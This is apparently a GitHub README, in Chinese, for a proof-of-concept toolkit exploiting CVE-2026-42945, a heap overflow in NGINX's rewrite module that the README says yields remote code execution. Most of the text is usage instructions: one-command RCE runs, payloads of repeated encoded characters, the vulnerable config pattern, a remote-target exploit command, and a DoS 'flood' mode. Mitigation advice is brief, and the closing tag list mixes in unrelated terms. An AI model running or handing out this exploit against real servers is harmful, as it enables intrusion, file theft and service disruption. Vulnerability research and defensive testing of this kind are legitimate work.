forxiucn/nginx-cve-2026-42945-poc
GitHub: forxiucn/nginx-cve-2026-42945-poc
针对 NGINX Rewrite 模块堆缓冲区溢出漏洞(CVE-2026-42945)的一站式 PoC 工具,涵盖漏洞检测、堆溢出验证、RCE 利用和 DoS 压力测试全流程。
Stars: 1 | Forks: 0
# CVE-2026-42945 — NGINX Rewrite Module 堆缓冲区溢出 → RCE
## 快速开始
```
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx
# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty
# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
```
## 漏洞概述
| 属性 | 值 |
|------|-----|
| CVE 编号 | CVE-2026-42945 |
| 漏洞类型 | 堆缓冲区溢出 → 远程代码执行 (RCE) |
| 影响组件 | `ngx_http_rewrite_module` |
| 影响版本 | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| 漏洞评分 | CVSS 9.4 (CRITICAL) |
| 利用条件 | 无需认证; RCE 需要 ptrace 权限 (root) |
## 漏洞根因
`ngx_http_script_complex_value_code()` 按 URI **解码后长度**分配缓冲区,但 `ngx_http_script_copy_capture_code()` 调用 `ngx_escape_uri()` 按**编码后长度**写入。URL 编码字符膨胀 3 倍 → **堆溢出**。
### 触发条件
三个条件必须同时满足:
1. `rewrite` 和 `set` 指令在**同一 location**
2. `rewrite` 替换字符串包含 `?`
3. `set` 引用 rewrite 的**捕获变量** `$1`
```
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # 含 '?'
set $original_endpoint $1; # 引用 $1
}
```
### ASAN 确认堆栈
```
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
```
## 项目结构
```
.
├── run.sh # 一键构建 + 测试入口
├── README.md
│
├── scripts/ # 测试 & 利用脚本
│ ├── rce.sh # 纯 Shell RCE (curl + GDB, 无 Python)
│ ├── exploit_rce.py # Python RCE (兼容 2.7/3.x)
│ ├── exploit.py # PoC 主脚本 (check/exploit/rce/flood)
│ └── exploit_asan.py # ASAN 全面扫描
│
├── package/ # 部署 & 编排文件
│ ├── Dockerfile.rce # NGINX 源码编译 + RCE 环境
│ ├── Dockerfile.openresty.rce # OpenResty 源码编译 + RCE 环境
│ ├── Dockerfile # 基础镜像 (Alpine)
│ ├── Dockerfile.asan # ASAN 调试镜像
│ ├── docker-compose.yml # Docker 编排 (nginx-rce + openresty-rce)
│ ├── nginx.conf # NGINX 漏洞配置
│ ├── nginx-openresty.conf # OpenResty 漏洞配置
│ ├── start_rce.sh # NGINX RCE 容器启动脚本
│ └── start_openresty_rce.sh # OpenResty RCE 容器启动脚本
│
└── src/ # 源码 (编译用)
├── nginx-1.26.3/ # NGINX 1.26.3 源码
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (内置 nginx/1.25.3)
```
## 详细使用
### Docker 容器内测试
```
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'
```
### 从宿主机 exec 进入容器
```
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
```
### 直接测试远程目标
```
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
```
### PoC 主脚本 (四种模式)
```
python3 scripts/exploit.py --target http://localhost:8775 --mode check # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS 压力测试
```
## 触发 Payload
| Payload | 说明 | 结果 |
|---------|------|------|
| `/api/%25` × N | 编码的 `%` | ✅ 堆溢出 |
| `/api/%3f` × N | 编码的 `?` | ✅ 堆溢出 |
| `/api/%23` × N | 编码的 `#` | ✅ 堆溢出 |
| `/api/%26` × N | 编码的 `&` | ✅ 堆溢出 |
## 修复建议
1. **升级 NGINX** 至 1.30.2+
2. **临时缓解**: 避免 `rewrite` (含 `?`) + `set` (引用 `$1`) 组合
3. **WAF 规则**: 拦截大量 `%25`/`%3f`/`%23`/`%26` 编码请求
4. **权限加固**: `echo 1 > /proc/sys/kernel/yama/ptrace_scope`
## 参考
- [F5 公告 K000161019](https://my.f5.com/manage/s/article/K000161019)
- [NGINX 源码](https://nginx.org/en/download.html)
标签:0day, ASAN, C/C++, CISA项目, Cutter, CVE-2026-42945, CVSS 9.4, Exploit, Maven, NGINX, ngx_http_rewrite_module, OpenResty, PoC, Python, RCE, Rewrite Module, Shell, URL编码, Web安全, 事务性I/O, 内存安全, 反向代理, 堆缓冲区溢出, 安全测试, 客户端加密, 攻击性安全, 数据展示, 无后门, 暴力破解, 漏洞分析, 漏洞复现, 漏洞验证, 红队, 编程工具, 网络安全, 蓝队分析, 请求拦截, 负责任AI, 路径探测, 远程代码执行, 逆向工具, 隐私保护